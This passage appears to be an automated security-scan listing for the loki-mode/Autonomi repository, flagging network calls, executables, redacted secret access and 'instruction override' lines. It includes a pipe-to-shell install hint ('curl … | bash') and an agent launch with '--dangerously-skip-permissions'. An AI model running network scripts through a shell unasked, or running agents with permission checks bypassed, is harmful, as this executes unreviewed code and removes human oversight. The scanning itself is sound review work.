    *) echo "To fix: curl -fsSL https://bun.sh/install | bash   (or reinstall: npm install -g loki-mode, without --omit=optional)" >&2 ;;
  • Network accessline 512
    *) echo "To fix: curl -fsSL https://bun.sh/install | bash   (or reinstall: npm install -g loki-mode, without --omit=optional)" >&2 ;;
  • Network accessline 640
    [2-5])                 _lb=$(_loki_bun)                 [ -n "$_lb" ] || { echo "loki: --attempts $_loki_att_n needs bun (install from https://bun.sh); refusing to run a single attempt silently." >&2; exit 1; }
  • Network accessline 641
    _lb=$(_loki_bun)                 [ -n "$_lb" ] || { echo "loki: --attempts $_loki_att_n needs bun (install from https://bun.sh); refusing to run a single attempt silently." >&2; exit 1; }                 _loki_attempts_refuse "${@:2}"
  • Network accessline 642
    [ -n "$_lb" ] || { echo "loki: --attempts $_loki_att_n needs bun (install from https://bun.sh); refusing to run a single attempt silently." >&2; exit 1; }
  • Network accessline 657
    --spec|--spec=*|--spec-first)                 _lb=$(_loki_bun)                 [ -n "$_lb" ] || { echo "loki: --spec needs bun (install from https://bun.sh)." >&2; exit 1; }
  • Network accessline 658
    _lb=$(_loki_bun)                 [ -n "$_lb" ] || { echo "loki: --spec needs bun (install from https://bun.sh)." >&2; exit 1; }                 exec "$_lb" "${_LOKI_BUN_SAFE[@]}" "$BUN_CLI" "$@"
  • Network accessline 659
    [ -n "$_lb" ] || { echo "loki: --spec needs bun (install from https://bun.sh)." >&2; exit 1; }
  • Network accessline 754
    */*\#[0-9]*|http*://*/issues/*|http*://*/browse/*|jira:*|linear:*|https://linear.app/*/issue/*) _e10=1 ;;
  • Network accessline 785
    if [ "$_e10" = "1" ]; then             _lb=$(_loki_bun)             [ -n "$_lb" ] || { echo "Error: the Loki 10 engine needs bun. Install bun from https://bun.sh." >&2; exit 1; }
  • Network accessline 787
    [ -n "$_lb" ] || { echo "Error: the Loki 10 engine needs bun. Install bun from https://bun.sh." >&2; exit 1; }
  • Network accessline 808
    if ! command -v bun &>/dev/null; then     if [ "${1:-}" = "start" ] && [ "$_LOKI_START_ATTEMPTS" = "1" ]; then         echo "loki: 'loki start' runs the Loki 10 engine, which needs bun. Install bun from https://bun.sh. The legacy loop is no
  • Network accessline 809
    if [ "${1:-}" = "start" ] && [ "$_LOKI_START_ATTEMPTS" = "1" ]; then         echo "loki: 'loki start' runs the Loki 10 engine, which needs bun. Install bun from https://bun.sh. The legacy loop is not reachable from start." >&2         exit 
  • Network accessline 810
    echo "loki: 'loki start' runs the Loki 10 engine, which needs bun. Install bun from https://bun.sh. The legacy loop is not reachable from start." >&2
  • Network accessline 896
    done     if [ "$_report_first_sub" = "kpis" ]; then         if command -v curl &>/dev/null && [ -f "$REPO_ROOT/autonomy/telemetry.sh" ]; then
  • Network accessline 898
    if command -v curl &>/dev/null && [ -f "$REPO_ROOT/autonomy/telemetry.sh" ]; then
  • Network accessline 936
    if command -v curl &>/dev/null && [ -f "$REPO_ROOT/autonomy/telemetry.sh" ]; then

bin/loki-mode.js

  • Executable scriptline 1
    #!/usr/bin/env node

bin/loki-postinstall.js

  • Executable scriptline 1
    #!/usr/bin/env node

claude/hooks/loki-session-end.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

collab/__init__.py

  • Executable scriptline 1
    Executable file

collab/api.py

  • Executable scriptline 1
    Executable file

collab/presence.py

  • Executable scriptline 1
    Executable file

collab/sync.py

  • Executable scriptline 1
    Executable file

collab/websocket.py

  • Executable scriptline 1
    Executable file

completions/_loki

  • Instruction override signalline 464
    '--resume[Resume an interrupted run at the stage it stopped in]::run id:' \         '--fresh[Skip the offer to resume an interrupted or cancelled run]' \         '--yes[Skip confirmation prompts]' \
  • Instruction override signalline 465
    '--fresh[Skip the offer to resume an interrupted or cancelled run]' \         '--yes[Skip confirmation prompts]' \         '-y[Skip confirmation prompts]' \
  • Instruction override signalline 466
    '--yes[Skip confirmation prompts]' \
  • Instruction override signalline 467
    '-y[Skip confirmation prompts]' \

completions/loki.bash

  • Executable scriptline 1
    #!/bin/bash

config/otel-collector/loki-collector.yaml

  • Network accessline 1
    # OpenTelemetry Collector config for Loki Mode traces. # Loki exports OTLP/HTTP JSON to LOKI_OTEL_ENDPOINT (path /v1/traces). Point it # at this collector (for example LOKI_OTEL_ENDPOINT=http://localhost:4318), then
  • Network accessline 2
    # Loki exports OTLP/HTTP JSON to LOKI_OTEL_ENDPOINT (path /v1/traces). Point it # at this collector (for example LOKI_OTEL_ENDPOINT=http://localhost:4318), then # run the collector with this file. Every credential is read from an
  • Network accessline 3
    # at this collector (for example LOKI_OTEL_ENDPOINT=http://localhost:4318), then
  • Network accessline 7
    # Enable any subset of exporters by listing it in service.pipelines.traces. # The collector validates every defined exporter, listed or not, so each # required field carries an inert default (https://unset.invalid, "unset").
  • Network accessline 8
    # The collector validates every defined exporter, listed or not, so each # required field carries an inert default (https://unset.invalid, "unset"). # A vendor left out of the list never uses its default; editing that list is
  • Network accessline 9
    # required field carries an inert default (https://unset.invalid, "unset").
  • Network accessline 23
    exporters:   # Grafana Cloud (Tempo) OTLP gateway.   # GRAFANA_OTLP_ENDPOINT example: https://otlp-gateway-prod-us-east-0.grafana.net/otlp
  • Network accessline 24
    # Grafana Cloud (Tempo) OTLP gateway.   # GRAFANA_OTLP_ENDPOINT example: https://otlp-gateway-prod-us-east-0.grafana.net/otlp   # GRAFANA_OTLP_AUTH is the full header value: "Basic <base64 instanceId:token>".
  • Network accessline 25
    # GRAFANA_OTLP_ENDPOINT example: https://otlp-gateway-prod-us-east-0.grafana.net/otlp
  • Network accessline 26
    # GRAFANA_OTLP_AUTH is the full header value: "Basic <base64 instanceId:token>".   otlphttp/grafana:     endpoint: ${env:GRAFANA_OTLP_ENDPOINT:-https://unset.invalid}
  • Network accessline 27
    otlphttp/grafana:     endpoint: ${env:GRAFANA_OTLP_ENDPOINT:-https://unset.invalid}     headers:
  • Network accessline 28
    endpoint: ${env:GRAFANA_OTLP_ENDPOINT:-https://unset.invalid}
  • Network accessline 32
    [Credential-related source omitted]
  • Access to secretsline 32
    [Credential-related source omitted]
  • Network accessline 33
    otlphttp/honeycomb:     endpoint: https://api.honeycomb.io     headers:
  • Network accessline 34
    endpoint: https://api.honeycomb.io
  • Access to secretsline 36
    [Credential-related source omitted]
  • Access to secretsline 41
    [Credential-related source omitted]

dashboard/Dockerfile

  • Executable scriptline 1
    Executable file
  • Network accessline 20
    LABEL org.opencontainers.image.title="Loki Mode Dashboard" LABEL org.opencontainers.image.description="Multi-project task management dashboard for Loki Mode" LABEL org.opencontainers.image.source="https://github.com/asklokesh/loki-mode"
  • Network accessline 22
    LABEL org.opencontainers.image.source="https://github.com/asklokesh/loki-mode"
  • Network accessline 68
    # Health check using Python (curl not available in slim image)
  • Network accessline 69
    HEALTHCHECK --interval=30s --timeout=10s --start-period=5s --retries=3 \     CMD python -c "import urllib.request; urllib.request.urlopen('http://localhost:57374/health')" || exit 1
  • Network accessline 70
    CMD python -c "import urllib.request; urllib.request.urlopen('http://localhost:57374/health')" || exit 1

dashboard/__init__.py

  • Executable scriptline 1
    Executable file

dashboard/activity_logger.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 20
    [Credential-related source omitted]

dashboard/api_evidence.py

  • Executable scriptline 1
    #!/usr/bin/env python3

dashboard/api_keys.py

  • Executable scriptline 1
    Executable file

dashboard/api_operator.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 80
    [Credential-related source omitted]
  • Access to secretsline 97
    [Credential-related source omitted]
  • Access to secretsline 107
    [Credential-related source omitted]
  • Access to secretsline 124
    [Credential-related source omitted]

dashboard/api_phases.py

  • Executable scriptline 1
    Executable file

dashboard/api_releases.py

  • Executable scriptline 1
    Executable file

dashboard/api_runs.py

  • Executable scriptline 1
    Executable file

dashboard/api_runs_v1.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 31
    [Credential-related source omitted]

dashboard/api_start.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 44
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 47
    [Credential-related source omitted]
  • Network accessline 144
    [Credential-related source omitted]
  • Network accessline 145
    req = urllib.request.Request(
  • Network accessline 146
    "https://api.github.com" + path,
  • Network accessline 148
    "User-Agent": "loki-mode"})     try:         with urllib.request.urlopen(req, timeout=15) as r:
  • Network accessline 149
    try:         with urllib.request.urlopen(req, timeout=15) as r:             return json.load(r)
  • Network accessline 150
    with urllib.request.urlopen(req, timeout=15) as r:
  • Access to secretsline 178
    [Credential-related source omitted]
  • Access to secretsline 202
    [Credential-related source omitted]
  • Access to secretsline 292
    [Credential-related source omitted]
  • Access to secretsline 324
    [Credential-related source omitted]
  • Access to secretsline 325
    [Credential-related source omitted]
  • Access to secretsline 327
    [Credential-related source omitted]
  • Access to secretsline 403
    [Credential-related source omitted]
  • Access to secretsline 409
    [Credential-related source omitted]

dashboard/api_tests.py

  • Executable scriptline 1
    Executable file

dashboard/api_v2.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 70
    [Credential-related source omitted]
  • Access to secretsline 535
    [Credential-related source omitted]
  • Access to secretsline 664
    [Credential-related source omitted]
  • Access to secretsline 695
    [Credential-related source omitted]
  • Access to secretsline 708
    [Credential-related source omitted]
  • Access to secretsline 717
    [Credential-related source omitted]
  • Access to secretsline 736
    [Credential-related source omitted]
  • Access to secretsline 742
    [Credential-related source omitted]
  • Access to secretsline 754
    [Credential-related source omitted]
  • Access to secretsline 760
    [Credential-related source omitted]
  • Access to secretsline 774
    [Credential-related source omitted]

dashboard/api_workspaces.py

  • Executable scriptline 1
    Executable file

dashboard/app_secrets.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 20
    [Credential-related source omitted]
  • Access to secretsline 21
    [Credential-related source omitted]
  • Access to secretsline 22
    [Credential-related source omitted]
  • Access to secretsline 32
    [Credential-related source omitted]
  • Access to secretsline 76
    [Credential-related source omitted]
  • Access to secretsline 80
    [Credential-related source omitted]
  • Access to secretsline 90
    [Credential-related source omitted]
  • Access to secretsline 95
    [Credential-related source omitted]
  • Access to secretsline 127
    [Credential-related source omitted]
  • Access to secretsline 128
    [Credential-related source omitted]

dashboard/audit.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 43
    [Credential-related source omitted]
  • Access to secretsline 48
    [Credential-related source omitted]
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 58
    [Credential-related source omitted]
  • Access to secretsline 59
    [Credential-related source omitted]
  • Access to secretsline 60
    [Credential-related source omitted]
  • Access to secretsline 64
    [Credential-related source omitted]
  • Access to secretsline 372
    [Credential-related source omitted]

dashboard/auth.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 31
    [Credential-related source omitted]
  • Network accessline 36
    [Credential-related source omitted]
  • Access to secretsline 36
    [Credential-related source omitted]
  • Access to secretsline 37
    [Credential-related source omitted]
  • Access to secretsline 38
    [Credential-related source omitted]
  • Access to secretsline 39
    [Credential-related source omitted]
  • Network accessline 449
    url = f"{OIDC_ISSUER.rstrip('/')}/.well-known/openid-configuration"     try:         with urllib.request.urlopen(url, timeout=10) as resp:
  • Network accessline 450
    try:         with urllib.request.urlopen(url, timeout=10) as resp:             return json.loads(resp.read())
  • Network accessline 451
    with urllib.request.urlopen(url, timeout=10) as resp:
  • Network accessline 474
    return {"keys": []}     try:         with urllib.request.urlopen(jwks_uri, timeout=10) as resp:
  • Network accessline 475
    try:         with urllib.request.urlopen(jwks_uri, timeout=10) as resp:             keys = json.loads(resp.read())
  • Network accessline 476
    with urllib.request.urlopen(jwks_uri, timeout=10) as resp:
  • Access to secretsline 547
    [Credential-related source omitted]
  • Access to secretsline 569
    [Credential-related source omitted]

dashboard/build_supervisor.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Instruction override signalline 79
    "claude": (         "claude",         "--dangerously-skip-permissions",
  • Instruction override signalline 80
    "claude",         "--dangerously-skip-permissions",         "--model",
  • Instruction override signalline 81
    "--dangerously-skip-permissions",
  • Access to secretsline 99
    [Credential-related source omitted]
  • Access to secretsline 100
    [Credential-related source omitted]
  • Access to secretsline 144
    [Credential-related source omitted]
  • Access to secretsline 600
    [Credential-related source omitted]
  • Access to secretsline 607
    [Credential-related source omitted]
  • Access to secretsline 637
    [Credential-related source omitted]
  • Access to secretsline 660
    [Credential-related source omitted]
  • Access to secretsline 681
    [Credential-related source omitted]
  • Access to secretsline 814
    [Credential-related source omitted]
  • Access to secretsline 816
    [Credential-related source omitted]
  • Access to secretsline 818
    [Credential-related source omitted]
  • Access to secretsline 1069
    [Credential-related source omitted]
  • Access to secretsline 1093
    [Credential-related source omitted]

dashboard/control.py

  • Executable scriptline 1
    Executable file
  • Network accessline 25
    Origin is scheme + host + effective port. Paths, credentials, queries and     fragments are never valid in an Origin header. Normalising default ports     makes ``https://host`` and ``https://host:443`` equivalent without doing
  • Network accessline 26
    fragments are never valid in an Origin header. Normalising default ports     makes ``https://host`` and ``https://host:443`` equivalent without doing     loose prefix/suffix matching on attacker-controlled text.
  • Network accessline 27
    makes ``https://host`` and ``https://host:443`` equivalent without doing
  • Access to secretsline 79
    [Credential-related source omitted]
  • Access to secretsline 86
    [Credential-related source omitted]

dashboard/database.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 23
    [Credential-related source omitted]
  • Access to secretsline 30
    [Credential-related source omitted]

dashboard/docker-compose.yml

  • Network accessline 39
    # - ~/.loki:/home/appuser/.loki     healthcheck:       test: ["CMD", "python", "-c", "import urllib.request; urllib.request.urlopen('http://localhost:57374/health')"]
  • Network accessline 40
    healthcheck:       test: ["CMD", "python", "-c", "import urllib.request; urllib.request.urlopen('http://localhost:57374/health')"]       interval: 30s
  • Network accessline 41
    test: ["CMD", "python", "-c", "import urllib.request; urllib.request.urlopen('http://localhost:57374/health')"]

dashboard/failure_extractor.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 21
    [Credential-related source omitted]

dashboard/migration_engine.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 35
    [Credential-related source omitted]

dashboard/models.py

  • Executable scriptline 1
    Executable file

dashboard/prompt_optimizer.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 31
    [Credential-related source omitted]

dashboard/registry.py

  • Executable scriptline 1
    Executable file

dashboard/rigour_integration.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 51
    [Credential-related source omitted]

dashboard/runs.py

  • Executable scriptline 1
    Executable file

dashboard/secure_tmp.py

  • Executable scriptline 1
    Executable file

dashboard/server.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 83
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]
  • Access to secretsline 90
    [Credential-related source omitted]
  • Access to secretsline 264
    [Credential-related source omitted]
  • Access to secretsline 651
    [Credential-related source omitted]
  • Network accessline 1130
    _cors_default = "http://localhost:57374,http://127.0.0.1:57374"
  • Access to secretsline 1131
    [Credential-related source omitted]
  • Access to secretsline 1134
    [Credential-related source omitted]
  • Access to secretsline 1281
    [Credential-related source omitted]
  • Access to secretsline 1300
    [Credential-related source omitted]
  • Access to secretsline 1408
    [Credential-related source omitted]
  • Access to secretsline 1419
    [Credential-related source omitted]
  • Network accessline 1539
    "version": _version,         "description": "Multi-agent autonomous system by Autonomi. Takes PRD to fully deployed product with minimal human intervention.",         "url": "https://www.autonomi.dev/",
  • Network accessline 1540
    "description": "Multi-agent autonomous system by Autonomi. Takes PRD to fully deployed product with minimal human intervention.",         "url": "https://www.autonomi.dev/",         "capabilities": {
  • Network accessline 1541
    "url": "https://www.autonomi.dev/",
  • Access to secretsline 3306
    [Credential-related source omitted]
  • Access to secretsline 3343
    [Credential-related source omitted]
  • Access to secretsline 3502
    [Credential-related source omitted]
  • Access to secretsline 3508
    [Credential-related source omitted]
  • Access to secretsline 3509
    [Credential-related source omitted]
  • Access to secretsline 3522
    [Credential-related source omitted]
  • Access to secretsline 3523
    [Credential-related source omitted]
  • Access to secretsline 3533
    [Credential-related source omitted]
  • Access to secretsline 3534
    [Credential-related source omitted]
  • Access to secretsline 3554
    [Credential-related source omitted]
  • Access to secretsline 3594
    [Credential-related source omitted]
  • Access to secretsline 3631
    [Credential-related source omitted]
  • Access to secretsline 3633
    [Credential-related source omitted]
  • Access to secretsline 3636
    [Credential-related source omitted]
  • Access to secretsline 3637
    [Credential-related source omitted]
  • Access to secretsline 3639
    [Credential-related source omitted]
  • Access to secretsline 3706
    [Credential-related source omitted]
  • Access to secretsline 4058
    [Credential-related source omitted]
  • Access to secretsline 4284
    [Credential-related source omitted]
  • Access to secretsline 4589
    [Credential-related source omitted]
  • Access to secretsline 5735
    [Credential-related source omitted]
  • Access to secretsline 5774
    [Credential-related source omitted]
  • Access to secretsline 7849
    [Credential-related source omitted]
  • Access to secretsline 8125
    [Credential-related source omitted]
  • Access to secretsline 8280
    [Credential-related source omitted]
  • Access to secretsline 9742
    [Credential-related source omitted]
  • Access to secretsline 9743
    [Credential-related source omitted]
  • Access to secretsline 9744
    [Credential-related source omitted]
  • Access to secretsline 9745
    [Credential-related source omitted]
  • Access to secretsline 9746
    [Credential-related source omitted]
  • Network accessline 9786
    for prefix in ["https://github.com/", "git@github.com:"]:
  • Access to secretsline 10075
    [Credential-related source omitted]
  • Network accessline 10804
    try:             family = socket.AF_INET6 if ":" in host else socket.AF_INET             sock = socket.socket(family, socket.SOCK_STREAM)
  • Network accessline 10805
    family = socket.AF_INET6 if ":" in host else socket.AF_INET             sock = socket.socket(family, socket.SOCK_STREAM)             sock.settimeout(_APP_RUNNER_PORT_PROBE_TIMEOUT)
  • Network accessline 10806
    sock = socket.socket(family, socket.SOCK_STREAM)
  • Access to secretsline 10832
    [Credential-related source omitted]

dashboard/telemetry.py

  • Executable scriptline 1
    Executable file
  • Network accessline 27
    [Credential-related source omitted]
  • Access to secretsline 27
    [Credential-related source omitted]
  • Network accessline 28
    "LOKI_TELEMETRY_ENDPOINT", "https://us.i.posthog.com"
  • Access to secretsline 38
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 44
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 48
    [Credential-related source omitted]
  • Access to secretsline 59
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]
  • Access to secretsline 89
    [Credential-related source omitted]
  • Access to secretsline 91
    [Credential-related source omitted]
  • Access to secretsline 205
    [Credential-related source omitted]
  • Access to secretsline 244
    [Credential-related source omitted]

dashboard/tenants.py

  • Executable scriptline 1
    Executable file

deploy/docker-compose/.env.example

  • Access to secretsline 2
    [Credential-related source omitted]
  • Access to secretsline 4
    [Credential-related source omitted]
  • Network accessline 13
    [Credential-related source omitted]
  • Network accessline 14
    [Credential-related source omitted]
  • Network accessline 15
    [Credential-related source omitted]
  • Access to secretsline 25
    [Credential-related source omitted]
  • Access to secretsline 28
    [Credential-related source omitted]
  • Network accessline 44
    # OIDC provider issuer URL (e.g. https://accounts.google.com)
  • Network accessline 54
    # OTLP endpoint for sending traces from the autonomi service. # When using the bundled OTEL collector, set to http://otel-collector:4318
  • Network accessline 55
    # When using the bundled OTEL collector, set to http://otel-collector:4318
  • Network accessline 82
    # Jira instance URL (e.g. https://mycompany.atlassian.net)

deploy/docker-compose/README.md

  • Access to secretsline 15
    [Credential-related source omitted]
  • Access to secretsline 16
    [Credential-related source omitted]
  • Network accessline 21
    [Credential-related source omitted]
  • Access to secretsline 21
    [Credential-related source omitted]
  • Network accessline 28
    [Credential-related source omitted]
  • Access to secretsline 28
    [Credential-related source omitted]
  • Network accessline 29
    [Credential-related source omitted]
  • Access to secretsline 29
    [Credential-related source omitted]
  • Network accessline 34
    | Service        | URL                       | Purpose                  | |----------------|---------------------------|--------------------------| | Dashboard      | http://localhost:57374     | Control Plane UI and API |
  • Network accessline 35
    |----------------|---------------------------|--------------------------| | Dashboard      | http://localhost:57374     | Control Plane UI and API | | Jaeger UI      | http://localhost:16686     | Trace visualization      |
  • Network accessline 36
    | Dashboard      | http://localhost:57374     | Control Plane UI and API |
  • Network accessline 37
    | Jaeger UI      | http://localhost:16686     | Trace visualization      |
  • Network accessline 48
    LOKI_ENTERPRISE_AUTH=true LOKI_OIDC_ISSUER=https://accounts.google.com
  • Network accessline 49
    LOKI_OIDC_ISSUER=https://accounts.google.com
  • Network accessline 63
    LOKI_TEAMS_WEBHOOK_URL=https://outlook.office.com/webhook/...
  • Network accessline 70
    LOKI_JIRA_URL=https://mycompany.atlassian.net
  • Network accessline 118
    The health check hits `http://localhost:47821/health` inside the container. If the container shows
  • Access to secretsline 132
    [Credential-related source omitted]

deploy/docker-compose/docker-compose.yml

  • Network accessline 1
    # Autonomi Enterprise - Single Node Evaluation # Usage: docker compose up -d # Control Plane UI/API: http://localhost:57374 (host port, LOKI_DASHBOARD_PORT)
  • Network accessline 2
    # Usage: docker compose up -d # Control Plane UI/API: http://localhost:57374 (host port, LOKI_DASHBOARD_PORT) #
  • Network accessline 3
    # Control Plane UI/API: http://localhost:57374 (host port, LOKI_DASHBOARD_PORT)
  • Network accessline 5
    # Observability mode (adds OTEL collector + Jaeger): #   docker compose --profile observability up -d #   Jaeger UI: http://localhost:16686
  • Network accessline 6
    #   docker compose --profile observability up -d #   Jaeger UI: http://localhost:16686 #
  • Network accessline 7
    #   Jaeger UI: http://localhost:16686
  • Access to secretsline 34
    [Credential-related source omitted]
  • Access to secretsline 41
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 48
    [Credential-related source omitted]
  • Access to secretsline 53
    [Credential-related source omitted]
  • Access to secretsline 54
    [Credential-related source omitted]
  • Network accessline 55
    [Credential-related source omitted]
  • Access to secretsline 55
    [Credential-related source omitted]
  • Network accessline 56
    healthcheck:       test: ["CMD", "curl", "-sf", "http://localhost:47821/health"]       interval: 30s
  • Network accessline 57
    test: ["CMD", "curl", "-sf", "http://localhost:47821/health"]

deploy/docker-compose/otel-config.yaml

  • Network accessline 5
    #   docker compose --profile observability up -d # # Then set LOKI_OTEL_ENDPOINT=http://otel-collector:4318 in your .env
  • Network accessline 7
    [Credential-related source omitted]
  • Access to secretsline 7
    [Credential-related source omitted]

deploy/ecs/control-plane-task.json

  • Access to secretsline 22
    [Credential-related source omitted]
  • Network accessline 25
    "mountPoints": [{ "sourceVolume": "control-data", "containerPath": "/data" }],       "healthCheck": {         "command": ["CMD", "bun", "-e", "fetch('http://127.0.0.1:47821/ready').then(r=>process.exit(r.ok?0:1)).catch(()=>process.exit(1))"
  • Network accessline 26
    "healthCheck": {         "command": ["CMD", "bun", "-e", "fetch('http://127.0.0.1:47821/ready').then(r=>process.exit(r.ok?0:1)).catch(()=>process.exit(1))"],         "interval": 30,
  • Network accessline 27
    "command": ["CMD", "bun", "-e", "fetch('http://127.0.0.1:47821/ready').then(r=>process.exit(r.ok?0:1)).catch(()=>process.exit(1))"],

deploy/helm/README.md

  • Access to secretsline 51
    [Credential-related source omitted]
  • Access to secretsline 53
    [Credential-related source omitted]
  • Access to secretsline 54
    [Credential-related source omitted]
  • Access to secretsline 55
    [Credential-related source omitted]
  • Network accessline 408
    `controlplane.probes.readiness.path`. Port-forward and check by hand:   `kubectl port-forward -n <ns> svc/<release>-autonomi-controlplane 57374:57374`   then `curl localhost:57374/ready` (the Service maps 57374 to the Control Plane port).
  • Network accessline 410
    then `curl localhost:57374/ready` (the Service maps 57374 to the Control Plane port).

deploy/helm/autonomi/Chart.yaml

  • Network accessline 10
    - development   - automation home: https://www.autonomi.dev
  • Network accessline 11
    - automation home: https://www.autonomi.dev sources:
  • Network accessline 12
    home: https://www.autonomi.dev
  • Network accessline 13
    sources:   - https://github.com/asklokesh/loki-mode maintainers:
  • Network accessline 14
    - https://github.com/asklokesh/loki-mode

deploy/helm/autonomi/templates/NOTES.txt

  • Network accessline 6
    [Credential-related source omitted]
  • Network accessline 7
    kubectl port-forward -n {{ .Release.Namespace }} svc/{{ include "autonomi.fullname" . }}-controlplane {{ .Values.service.port }}:{{ .Values.service.port }}   http://localhost:{{ .Values.service.port }}/ {{- if and .Values.secrets.existingSe
  • Network accessline 8
    http://localhost:{{ .Values.service.port }}/

deploy/helm/autonomi/templates/_helpers.tpl

  • Network accessline 206
    [Credential-related source omitted]
  • Access to secretsline 206
    [Credential-related source omitted]
  • Network accessline 207
    [Credential-related source omitted]
  • Network accessline 208
    [Credential-related source omitted]
  • Access to secretsline 208
    [Credential-related source omitted]

deploy/helm/autonomi/templates/deployment-worker.yaml

  • Network accessline 77
    # Ship run events to the Control Plane in this release.             - name: LOKI_CONTROL_URL               value: "http://{{ include "autonomi.fullname" . }}-controlplane:{{ .Values.service.port }}"
  • Network accessline 78
    - name: LOKI_CONTROL_URL               value: "http://{{ include "autonomi.fullname" . }}-controlplane:{{ .Values.service.port }}"             {{- include "autonomi.controlTokenEnv" . | nindent 12 }}
  • Network accessline 79
    value: "http://{{ include "autonomi.fullname" . }}-controlplane:{{ .Values.service.port }}"

deploy/helm/autonomi/templates/job-worker.yaml

  • Network accessline 124
    # Ship run events to the Control Plane in this release.             - name: LOKI_CONTROL_URL               value: "http://{{ include "autonomi.fullname" . }}-controlplane:{{ .Values.service.port }}"
  • Network accessline 125
    - name: LOKI_CONTROL_URL               value: "http://{{ include "autonomi.fullname" . }}-controlplane:{{ .Values.service.port }}"             {{- include "autonomi.controlTokenEnv" . | nindent 12 }}
  • Network accessline 126
    value: "http://{{ include "autonomi.fullname" . }}-controlplane:{{ .Values.service.port }}"

deploy/helm/autonomi/templates/keda-scaledjob.yaml

  • Network accessline 68
    env:               - name: LOKI_CONTROL_URL                 value: "http://{{ include "autonomi.fullname" . }}-controlplane:{{ .Values.service.port }}"
  • Network accessline 69
    - name: LOKI_CONTROL_URL                 value: "http://{{ include "autonomi.fullname" . }}-controlplane:{{ .Values.service.port }}"               {{- include "autonomi.controlTokenEnv" . | nindent 14 }}
  • Network accessline 70
    value: "http://{{ include "autonomi.fullname" . }}-controlplane:{{ .Values.service.port }}"

deploy/helm/autonomi/templates/secret.yaml

  • Access to secretsline 13
    [Credential-related source omitted]
  • Access to secretsline 16
    [Credential-related source omitted]
  • Access to secretsline 19
    [Credential-related source omitted]

deploy/helm/autonomi/templates/tests/test-controlplane-health.yaml

  • Network accessline 58
    - |           set -eu           URL="http://{{ include "autonomi.fullname" . }}-controlplane:{{ .Values.service.port }}{{ .Values.controlplane.probes.readiness.path }}"
  • Network accessline 59
    set -eu           URL="http://{{ include "autonomi.fullname" . }}-controlplane:{{ .Values.service.port }}{{ .Values.controlplane.probes.readiness.path }}"           echo "probing ${URL}"
  • Network accessline 60
    URL="http://{{ include "autonomi.fullname" . }}-controlplane:{{ .Values.service.port }}{{ .Values.controlplane.probes.readiness.path }}"
  • Network accessline 65
    i=0           while [ "$i" -lt 12 ]; do             code=$(curl -s -o /tmp/body -w '%{http_code}' --max-time 5 "${URL}" || echo 000)
  • Network accessline 66
    while [ "$i" -lt 12 ]; do             code=$(curl -s -o /tmp/body -w '%{http_code}' --max-time 5 "${URL}" || echo 000)             if [ "$code" -ge 200 ] && [ "$code" -lt 300 ]; then
  • Network accessline 67
    code=$(curl -s -o /tmp/body -w '%{http_code}' --max-time 5 "${URL}" || echo 000)

deploy/helm/autonomi/tests/test-connection.yaml

  • Network accessline 12
    containers:     - name: curl       image: curlimages/curl:8.5.0
  • Network accessline 13
    - name: curl       image: curlimages/curl:8.5.0       command:
  • Network accessline 15
    command:         - curl         - "--fail"
  • Network accessline 16
    - curl         - "--fail"         - "--silent"
  • Network accessline 20
    - "--max-time"         - "10"         - "http://{{ include "autonomi.fullname" . }}-controlplane:{{ .Values.service.port }}/health"
  • Network accessline 22
    - "http://{{ include "autonomi.fullname" . }}-controlplane:{{ .Values.service.port }}/health"

deploy/helm/autonomi/tests/test-health.yaml

  • Network accessline 12
    containers:     - name: curl       image: curlimages/curl:8.5.0
  • Network accessline 13
    - name: curl       image: curlimages/curl:8.5.0       command:
  • Network accessline 17
    - "-c"         - |           response=$(curl --fail --silent --show-error --max-time 10 \
  • Network accessline 18
    - |           response=$(curl --fail --silent --show-error --max-time 10 \             "http://{{ include "autonomi.fullname" . }}-controlplane:{{ .Values.service.port }}/api/status")
  • Network accessline 19
    response=$(curl --fail --silent --show-error --max-time 10 \
  • Network accessline 20
    "http://{{ include "autonomi.fullname" . }}-controlplane:{{ .Values.service.port }}/api/status")

deploy/helm/autonomi/values.schema.json

  • Network accessline 1
    {   "$schema": "https://json-schema.org/draft-07/schema#",
  • Network accessline 2
    "$schema": "https://json-schema.org/draft-07/schema#",

deploy/helm/autonomi/values.yaml

  • Network accessline 258
    image: "alpine/git:latest"     # Git repository to clone into /workspace. REQUIRED when enabled.     #   https://github.com/owner/repo.git  (token injected for private repos)
  • Network accessline 259
    # Git repository to clone into /workspace. REQUIRED when enabled.     #   https://github.com/owner/repo.git  (token injected for private repos)     repo: ""
  • Network accessline 260
    #   https://github.com/owner/repo.git  (token injected for private repos)
  • Network accessline 332
    # --------------------------------------------------------------------------- # Queue-depth driven scaling for the non-default worker modes. Requires KEDA # (https://keda.sh) installed in the cluster -- the chart only renders the CRDs,
  • Network accessline 333
    # Queue-depth driven scaling for the non-default worker modes. Requires KEDA # (https://keda.sh) installed in the cluster -- the chart only renders the CRDs, # it does not install the KEDA operator.
  • Network accessline 334
    # (https://keda.sh) installed in the cluster -- the chart only renders the CRDs,

deploy/helm/control-plane/Chart.yaml

  • Network accessline 5
    version: 0.1.0 appVersion: "11.124.2" home: https://www.autonomi.dev
  • Network accessline 7
    home: https://www.autonomi.dev

